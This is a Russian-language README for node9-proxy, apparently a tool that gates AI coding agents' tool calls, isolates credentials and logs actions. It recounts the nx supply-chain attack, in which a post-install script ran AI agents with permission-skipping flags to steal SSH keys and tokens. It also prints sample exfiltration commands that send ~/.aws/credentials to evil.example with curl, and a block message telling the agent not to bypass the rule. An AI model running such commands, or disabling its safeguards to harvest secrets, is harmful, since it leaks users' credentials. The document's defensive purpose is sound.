
node9-proxy v1.67.0
Уровень безопасности выполнения для эры агентов. Обеспечивает детерминированное управление «Sudo» и журналы аудита для автономных ИИ-агентов.
🛡️ node9
Контроль доступа для ИИ-агентов
Ваши ИИ-агенты могут дотянуться до Slack, GitHub, электронной почты и вашей базы данных.
node9 решает, что им позволено делать с каждым из них.
Изоляция учётных данных · секреты и PII · деструктивные git, SQL и shell-команды удерживаются на проверку · закрепление MCP-инструментов · список разрешённых сетевых назначений · разрыв циклов · единая запись по двенадцати агентам
Работает с Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · любым MCP-сервером.
Как это выглядит
Реальная сессия Claude Code с установленным node9. Каждый вызов инструмента проверяется перед выполнением. Сборка страницы и редактирование кнопки выполняются. Запрос к адресу облачных метаданных блокируется, агент получает причину и продолжает работу. Удаление файлов ожидает вашего одобрения прямо в чате.
Установка
brew tap node9-ai/node9 && brew install node9 # macOS / Linux
npm install -g node9-ai # any platform
Затем в любом проекте:
node9 # first run: choose dashboard connection or local protection
node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login # optional: adds this machine to a shared dashboard
Требуется Node.js 22+.
В новом интерактивном терминале node9 проведёт вас через настройку. Локальная защита
не требует учётной записи. Контрольный список показывает рекомендуемые щиты, DLP/PII,
опциональную проверку сетевых назначений и фоновую службу. Статистика использования
отправляется только если вы примете отдельный запрос. В сводке перечислены настроенные
агенты и шаги настройки, требующие внимания.
Запустите node9 setup, чтобы вернуться к настройке, или node9 setup <target> для настройки одного агента.
После настройки простой node9 показывает справку. node9 init по-прежнему доступен; для
скриптов используйте node9 init --recommended (без вопросов и без согласия на телеметрию).
--skip-setup не трогает подключение агентов и установку службы. Явный
--mode имеет приоритет над рекомендацией стандартного режима из контрольного списка.
Существующие настройки сохраняются, если только выбранные изменения или явные флаги не требуют
обновления. Политика рабочего пространства управляется в дашборде; настройки службы остаются локальными.
login ничего не добавляет к принудительному применению. Он подключает машину к рабочему пространству, чтобы
команда могла видеть единую запись по ноутбукам и CI всех участников, задавать политику централизованно
и одобрять удержанные действия из дашборда или Slack. Пропустите его — и node9 работает точно
так же, автономно, офлайн. node9 logout снова отключает, а локальное принудительное применение
продолжает работать.
Использование в качестве MCP-сервера
node9 также работает как MCP-сервер, поэтому агент может читать его статус, состояние защиты, журнал аудита и политику, а также объяснять любое решение прямо из беседы:
claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server
Любой MCP-клиент работает так же: команда — npx -y node9-ai mcp-server
через stdio, без API-ключа. Он указан в официальном MCP Registry как
io.github.node9-ai/node9.
Проблема
В августе 2025 года скомпрометированные релизы
инструмента сборки nx содержали post-install
скрипт, который искал уже установленных на машине разработчика ИИ-агентов для программирования, а затем запускал
их с отключёнными собственными флагами безопасности (--dangerously-skip-permissions, --yolo,
--trust-all-tools), чтобы перечислить SSH-ключи, облачные учётные данные и файлы кошельков и записать список
на диск. Скрипт отправлял результаты в публичные репозитории внутри собственных GitHub-аккаунтов
жертв. Утекло более тысячи действующих GitHub-токенов, а также облачные учётные данные, npm-
токены и примерно 20 000 файлов с машин, где агент делал ровно то, что ему
велели.
Агент не был атакующим. Агент был инструментом, и между ним и файлами не стояло ничего. Шлюз node9 — не один из тех флагов: он работает в хуке, и действие, которое он удерживает, остаётся удержанным, даже если агент был запущен с пропущенными разрешениями.
Что с этим делает node9
node9 находится между агентом и каждым вызываемым им инструментом. Изоляция учётных данных (~/.ssh, ~/.aws,
файлы .env, приватные ключи) включена по умолчанию, и чтение одного из этих путей не выполняется.
Агент останавливается, ему сообщают причину, а решение приходит к вам:
NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.
Команда разбирается как AST оболочки, а не сопоставляется как текст, поэтому обёртывание чтения не помогает.
echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example расценивается как чтение
~/.aws/credentials, а не как echo.
node9 — это шлюз. Удержанное действие не выполняется, пока ждёт вас, и если вы никогда не ответите, оно остаётся заблокированным. Всё остальное разрешается и записывается в журнал.
Чего он не делает: при выключенном контроле исходящего трафика, что является значением по умолчанию, команда, передающая
файл напрямую в сеть, например curl -d @~/.aws/credentials, не рассматривается как чтение
этого файла. node9 egress protect также ограничивает назначения, и он охватывает только shell-команды.
Проверьте сами
Ничто ниже не требует учётной записи, и ничто не загружается.